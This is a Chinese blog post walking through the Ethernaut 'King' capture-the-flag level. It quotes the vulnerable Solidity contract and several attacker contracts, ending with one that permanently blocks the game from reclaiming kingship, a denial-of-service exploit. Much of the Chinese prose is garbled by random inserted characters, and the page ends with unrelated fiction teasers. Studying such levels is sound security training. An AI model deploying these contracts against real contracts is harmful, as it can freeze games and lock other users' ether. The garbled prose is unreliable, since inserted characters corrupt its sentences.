2023-02-26 king 第9個任務分析

題目要求:

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
下面的合約代表了一個非常簡單的游戲:誰向它發(fā)送的以太幣數(shù)量大于當前獎金祥楣,誰就成為新的國王簿晓。在這樣的事件中,被推翻的國王獲得了新的獎勵筐咧,并在此過程中賺取了一些以太幣!龐氏騙局 xD

這么有趣的游戲噪矛。你的目標是打破它量蕊。

當您將實例提交回關(guān)卡時,關(guān)卡將收回王權(quán)艇挨。如果你能避免這樣的自我宣告残炮,你就可以通過關(guān)卡。

源合約代碼:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

簡單來說缩滨,當這個合約收到eth之后势就,如果發(fā)送的資金大于現(xiàn)在的prize泉瞻,會給原本的king現(xiàn)在的發(fā)送者資金,并且將king賦值為本次發(fā)送方苞冯。
但是點擊submit instance之后袖牙,系統(tǒng)將會給合約發(fā)送指令重置king,使攻擊者之前的努力白費舅锄。
我們要做的事鞭达,就是系統(tǒng)無法順利發(fā)送指令。
即皇忿,系統(tǒng)發(fā)送時畴蹭,會因為某些原因在payable(king).transfer(msg.value);這里卡住。
首先咱們得知道禁添,prize是多少撮胧,才不會在require的時候被退回。
執(zhí)行控制臺:

await contract.prize().then(v => v.toString())

顯示如下:

'1000000000000000000'

看來是1 ether沒跑了老翘。
接下來是在remix寫攻擊合約了芹啥。
抄來一段:

pragma solidity ^0.8.7;

contract AttackKing {

    constructor(address payable _victim) public payable {
        _victim.call.gas(1000000).value(1 ether)("");
    }

    receive() external payable {
        revert();
    }
}

由于call的這種調(diào)用法過版本了,得這樣改:

pragma solidity ^0.8.7;

contract AttackKing {

    constructor(address payable _victim) public payable {
        payable(_victim).call{gas:1000000,value:1 ether}("");
        //這里必須加payable铺峭,否則編譯失敗
    }

    receive() external payable {
        revert();
    }
}

但是沒有傳入_victim墓怀,要先傳入地址

pragma solidity ^0.8.7;

contract AttackKing {

    constructor() public payable {
        address _victim = 0x3049C00639E6dfC269ED1451764a046f7aE500c6;
        //這里地址不需加引號,引號不認
        //payable(_victim).call.gas(1000000).value(1 ether)("");
        payable(_victim).call{gas:1000000,value:1 ether}("");
    }

    receive() external payable {
        revert();
    }
}

預先傳入?yún)?shù)卫键,也傳入了eth傀履,但是直接執(zhí)行之后卻submit instance不成。莉炉。钓账。

最終版本:

pragma solidity ^0.8.7;

contract ForeverKing {
    function claimKingship(address payable _to) public payable {
        (bool sent, ) = _to.call{value:msg.value}("");
        require(sent, "Failed to send value!");
    }
}

部署好合約后,再通過函數(shù)調(diào)用claimKingship絮宁,_to右邊參數(shù)一定要是控制臺搞來的contract.address結(jié)果梆暮,記得上面的GASvalue一定要設(shè)置好(沒錯,deploy按鍵那里的)绍昂,msg.value才能根據(jù)自身意愿發(fā)送1 ether啦粹。
調(diào)用好后,在控制臺那里鍵入await contract._king()
然而卻是:

'0x6Bc313E161062eCCea6cf10D1cfb193eCD07FAe5'

但是submit instance窘游,確實成功了唠椭。。忍饰。

可能構(gòu)造函數(shù)階段弄不成贪嫂,一定要自己調(diào)用函數(shù)就成。
但是那樣的話喘批,fomo3d要怎么繞過機器人檢定呢撩荣?

作者后話:

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Ethernaut 的大部分關(guān)卡都試圖揭露(當然是以一種過于簡單的形式)實際發(fā)生的事情——真正的黑客攻擊或真正的漏洞铣揉。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市餐曹,隨后出現(xiàn)的幾起案子逛拱,更是在濱河造成了極大的恐慌,老刑警劉巖台猴,帶你破解...
    沈念sama閱讀 212,383評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件朽合,死亡現(xiàn)場離奇詭異,居然都是意外死亡饱狂,警方通過查閱死者的電腦和手機曹步,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來休讳,“玉大人讲婚,你說我怎么就攤上這事】∪幔” “怎么了筹麸?”我有些...
    開封第一講書人閱讀 157,852評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長雏婶。 經(jīng)常有香客問我物赶,道長,這世上最難降的妖魔是什么留晚? 我笑而不...
    開封第一講書人閱讀 56,621評論 1 284
  • 正文 為了忘掉前任酵紫,我火速辦了婚禮,結(jié)果婚禮上错维,老公的妹妹穿的比我還像新娘奖地。我一直安慰自己,他們只是感情好赋焕,可當我...
    茶點故事閱讀 65,741評論 6 386
  • 文/花漫 我一把揭開白布鹉动。 她就那樣靜靜地躺著,像睡著了一般宏邮。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上缸血,一...
    開封第一講書人閱讀 49,929評論 1 290
  • 那天蜜氨,我揣著相機與錄音,去河邊找鬼捎泻。 笑死飒炎,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的笆豁。 我是一名探鬼主播郎汪,決...
    沈念sama閱讀 39,076評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼赤赊,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了煞赢?” 一聲冷哼從身側(cè)響起抛计,我...
    開封第一講書人閱讀 37,803評論 0 268
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎照筑,沒想到半個月后吹截,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,265評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡凝危,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,582評論 2 327
  • 正文 我和宋清朗相戀三年波俄,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片蛾默。...
    茶點故事閱讀 38,716評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡懦铺,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出支鸡,到底是詐尸還是另有隱情冬念,我是刑警寧澤,帶...
    沈念sama閱讀 34,395評論 4 333
  • 正文 年R本政府宣布苍匆,位于F島的核電站刘急,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏浸踩。R本人自食惡果不足惜叔汁,卻給世界環(huán)境...
    茶點故事閱讀 40,039評論 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望检碗。 院中可真熱鬧据块,春花似錦、人聲如沸折剃。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽怕犁。三九已至边篮,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間奏甫,已是汗流浹背戈轿。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留阵子,地道東北人思杯。 一個月前我還...
    沈念sama閱讀 46,488評論 2 361
  • 正文 我出身青樓,卻偏偏與公主長得像挠进,于是被迫代替她去往敵國和親色乾。 傳聞我的和親對象是個殘疾皇子誊册,可洞房花燭夜當晚...
    茶點故事閱讀 43,612評論 2 350

推薦閱讀更多精彩內(nèi)容